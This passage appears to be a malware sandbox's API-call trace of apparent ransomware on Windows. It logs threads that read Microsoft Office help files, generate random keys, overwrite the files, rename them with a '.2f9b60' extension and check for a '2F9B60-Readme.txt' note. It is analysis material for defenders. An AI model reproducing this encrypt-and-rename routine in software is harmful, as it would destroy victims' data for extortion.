BaseAddress=0x1ced16b0) returned 1 [0216.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20266120 [0216.669] sprintf (in: _Dest=0x20266120, _Format="%c%c" | out: _Dest="33") returned 2 [0216.669] sprintf (in: _Dest=0x20266122, _Format="%c%c" | out: _Dest="c5") returned 2 [0216.669] sprintf (in: _Dest=0x20266124, _Format="%c%c" | out: _Dest="89") returned 2 [0216.669] sprintf (in: _Dest=0x20266126, _Format="%c%c" | out: _Dest="28") returned 2 [0216.669] sprintf (in: _Dest=0x20266128, _Format="%c%c" | out: _Dest="56") returned 2 [0216.669] sprintf (in: _Dest=0x2026612a, _Format="%c%c" | out: _Dest="77") returned 2 [0216.669] sprintf (in: _Dest=0x2026612c, _Format="%c%c" | out: _Dest="62") returned 2 [0216.669] sprintf (in: _Dest=0x2026612e, _Format="%c%c" | out: _Dest="83") returned 2 [0216.669] sprintf (in: _Dest=0x20266130, _Format="%c%c" | out: _Dest="0b") returned 2 [0216.669] sprintf (in: _Dest=0x20266132, _Format="%c%c" | out: _Dest="a7") returned 2 [0216.669] sprintf (in: _Dest=0x20266134, _Format="%c%c" | out: _Dest="4c") returned 2 [0216.669] sprintf (in: _Dest=0x20266136, _Format="%c%c" | out: _Dest="4f") returned 2 [0216.669] sprintf (in: _Dest=0x20266138, _Format="%c%c" | out: _Dest="55") returned 2 [0216.669] sprintf (in: _Dest=0x2026613a, _Format="%c%c" | out: _Dest="c1") returned 2 [0216.669] sprintf (in: _Dest=0x2026613c, _Format="%c%c" | out: _Dest="b3") returned 2 [0216.669] sprintf (in: _Dest=0x2026613e, _Format="%c%c" | out: _Dest="52") returned 2 [0216.669] sprintf (in: _Dest=0x20266140, _Format="%c%c" | out: _Dest="d9") returned 2 [0216.669] sprintf (in: _Dest=0x20266142, _Format="%c%c" | out: _Dest="8e") returned 2 [0216.669] RtlInitAnsiString (in: DestinationString=0x3b07f6e8, SourceString="33c58928567762830ba74c4f55c1b352d98e" | out: DestinationString="33c58928567762830ba74c4f55c1b352d98e") [0216.669] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b07f6b8, SourceString="33c58928567762830ba74c4f55c1b352d98e", AllocateDestinationString=1 | out: DestinationString="33c58928567762830ba74c4f55c1b352d98e") returned 0x0 [0216.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced5ce0 [0216.670] wcscat (in: _Dest=0x202afdf0, _Source="33c589285" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\33c589285") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\33c589285" [0216.670] wcscat (in: _Dest=0x202afdf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\33c589285.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\33c589285.2f9b60" [0216.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\33c589285.2f9b60", NtPathName=0x3b07f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\33c589285.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f44b0 Thread: id = 2174 os_tid = 0x1588 [0140.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 0x20 [0140.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC", dwFileAttributes=0x20) returned 1 [0140.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f70 [0144.588] GetFileSizeEx (in: hFile=0x1f70, lpFileSize=0x3ab1f8a0 | out: lpFileSize=0x3ab1f8a0*=621) returned 1 [0144.588] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.588] ReadFile (in: hFile=0x1f70, lpBuffer=0x3ab1f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ab1f868, lpOverlapped=0x0 | out: lpBuffer=0x3ab1f820*, lpNumberOfBytesRead=0x3ab1f868*=0x4, lpOverlapped=0x0) returned 1 [0144.615] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0144.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.615] NtQuerySystemTime (in: CurrentTime=0x3ab1f760 | out: CurrentTime=0x3ab1f760*=132462177498610000) returned 0x0 [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x1358597c [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x3efa6e [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x2f0a19b5 [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x5c6f7c0c [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0xf426e84 [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x490e1e9a [0144.615] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x2108dd55 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x45828931 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x7bc19b88 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x29eb9f8c [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x27bc3c50 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x1d45975a [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x592b900e [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x7bd1451c [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x6c3379be [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x29e096e2 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x3ac261d0 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x2946df [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x627b1775 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x114f077b [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x412c92ea [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x6d543a79 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0xce8bd12 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x57d01fbb [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x5013e332 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x568f4ee4 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x47b98aa8 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0xc13922e [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x1a73fa1 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x5e03cfd0 [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x5f5955db [0144.616] RtlRandomEx (in: Seed=0x3ab1f750 | out: Seed=0x3ab1f750) returned 0x711b5b6b [0144.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0144.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0144.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42322d00 [0144.626] ReadFile (in: hFile=0x1f70, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x3ab1f750, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3ab1f750*=0x26d, lpOverlapped=0x0) returned 1 [0144.626] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.626] WriteFile (in: hFile=0x1f70, lpBuffer=0x42322d00*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x3ab1f754, lpOverlapped=0x0 | out: lpBuffer=0x42322d00*, lpNumberOfBytesWritten=0x3ab1f754*=0x26d, lpOverlapped=0x0) returned 1 [0144.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42322d00) returned 1 [0144.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231f0f0) returned 1 [0144.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fd720 [0144.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0144.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefe0) returned 1 [0144.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fefe0 [0144.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefb0 [0144.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0144.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1674c0 [0144.653] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.653] WriteFile (in: hFile=0x1f70, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3ab1f870, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3ab1f870*=0x10c, lpOverlapped=0x0) returned 1 [0144.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0144.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x204feef0 [0144.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee60 [0144.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee60) returned 1 [0144.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda07f0 [0144.695] sprintf (in: _Dest=0x1cda07f0, _Format="%c%c" | out: _Dest="19") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07f2, _Format="%c%c" | out: _Dest="de") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07f4, _Format="%c%c" | out: _Dest="c8") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07f6, _Format="%c%c" | out: _Dest="64") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07f8, _Format="%c%c" | out: _Dest="20") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07fa, _Format="%c%c" | out: _Dest="79") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07fc, _Format="%c%c" | out: _Dest="12") returned 2 [0144.695] sprintf (in: _Dest=0x1cda07fe, _Format="%c%c" | out: _Dest="51") returned 2 [0144.695] sprintf (in: _Dest=0x1cda0800, _Format="%c%c" | out: _Dest="f2") returned 2 [0144.695] sprintf (in: _Dest=0x1cda0802, _Format="%c%c" | out: _Dest="bf") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0804, _Format="%c%c" | out: _Dest="ac") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0806, _Format="%c%c" | out: _Dest="5f") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0808, _Format="%c%c" | out: _Dest="cd") returned 2 [0144.696] sprintf (in: _Dest=0x1cda080a, _Format="%c%c" | out: _Dest="28") returned 2 [0144.696] sprintf (in: _Dest=0x1cda080c, _Format="%c%c" | out: _Dest="d8") returned 2 [0144.696] sprintf (in: _Dest=0x1cda080e, _Format="%c%c" | out: _Dest="4d") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0810, _Format="%c%c" | out: _Dest="6a") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0812, _Format="%c%c" | out: _Dest="61") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0814, _Format="%c%c" | out: _Dest="9b") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0816, _Format="%c%c" | out: _Dest="46") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0818, _Format="%c%c" | out: _Dest="8f") returned 2 [0144.696] sprintf (in: _Dest=0x1cda081a, _Format="%c%c" | out: _Dest="aa") returned 2 [0144.696] sprintf (in: _Dest=0x1cda081c, _Format="%c%c" | out: _Dest="67") returned 2 [0144.696] sprintf (in: _Dest=0x1cda081e, _Format="%c%c" | out: _Dest="ca") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0820, _Format="%c%c" | out: _Dest="b1") returned 2 [0144.696] sprintf (in: _Dest=0x1cda0822, _Format="%c%c" | out: _Dest="3a") returned 2 [0144.696] RtlInitAnsiString (in: DestinationString=0x3ab1f8e8, SourceString="19dec86420791251f2bfac5fcd28d84d6a619b468faa67cab13a" | out: DestinationString="19dec86420791251f2bfac5fcd28d84d6a619b468faa67cab13a") [0144.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ab1f8b8, SourceString="19dec86420791251f2bfac5fcd28d84d6a619b468faa67cab13a", AllocateDestinationString=1 | out: DestinationString="19dec86420791251f2bfac5fcd28d84d6a619b468faa67cab13a") returned 0x0 [0144.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42061e30 [0144.696] RtlFreeAnsiString (AnsiString="1") [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefe0) returned 1 [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefb0) returned 1 [0144.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0144.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0144.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507b90 [0144.698] wcscat (in: _Dest=0x20507b90, _Source="19dec86420791" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\19dec86420791") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\19dec86420791" [0144.698] wcscat (in: _Dest=0x20507b90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\19dec86420791.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\19dec86420791.2f9b60" [0144.698] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\19dec86420791.2f9b60", NtPathName=0x3ab1f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\19dec86420791.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bb60 [0144.699] NtSetInformationFile (FileHandle=0x1f70, IoStatusBlock=0x3ab1f930, FileInformation=0x2050bb60, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bb60) returned 1 [0146.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057af0) returned 1 [0146.120] NtQueryInformationFile (in: FileHandle=0x1f70, IoStatusBlock=0x3ab1f8f8, FileInformation=0x3ab1f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ab1f8f8, FileInformation=0x3ab1f908) returned 0x0 [0146.120] NtSetInformationFile (FileHandle=0x1f70, IoStatusBlock=0x3ab1f8f8, FileInformation=0x3ab1f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507b90) returned 1 [0146.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.122] FlushFileBuffers (hFile=0x1f70) returned 1 [0146.247] CloseHandle (hObject=0x1f70) returned 1 [0146.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae2f0 [0146.249] wcscpy (in: _Dest=0x202ae2f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.249] wcscat (in: _Dest=0x202ae2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae2f0) returned 1 [0146.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae260) returned 1 Thread: id = 2175 os_tid = 0x158c [0140.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 0x20 [0140.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT", dwFileAttributes=0x20) returned 1 [0140.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eb8 [0144.601] GetFileSizeEx (in: hFile=0x1eb8, lpFileSize=0x3b45fa80 | out: lpFileSize=0x3b45fa80*=205) returned 1 [0144.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0144.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0144.601] NtQuerySystemTime (in: CurrentTime=0x3b45f940 | out: CurrentTime=0x3b45f940*=132462177498454000) returned 0x0 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x7b204c46 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x5d01d8e5 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x6108e295 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x3ae1086b [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x4e6c626a [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x23c9b509 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x518c1f80 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x7c69f4c8 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0xd6ec7e6 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x4215b31d [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x695cbd1f [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x640806d9 [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x5a9c4dcc [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x68d7822e [0144.601] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x370927b [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x648b98b8 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x54d8c836 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0xfc5a849 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x314a3103 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x2f604113 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x30c0c73d [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x311df635 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x6addab46 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x13cafd69 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x17a2b47e [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x1e554f9d [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x5c2d6835 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x48c50652 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x7619d256 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x2286dda [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x28df8262 [0144.602] RtlRandomEx (in: Seed=0x3b45f930 | out: Seed=0x3b45f930) returned 0x7a0134bd [0144.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0144.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232e130 [0144.612] ReadFile (in: hFile=0x1eb8, lpBuffer=0x42326910, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x3b45f930, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesRead=0x3b45f930*=0xcd, lpOverlapped=0x0) returned 1 [0144.613] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.613] WriteFile (in: hFile=0x1eb8, lpBuffer=0x4232e130*, 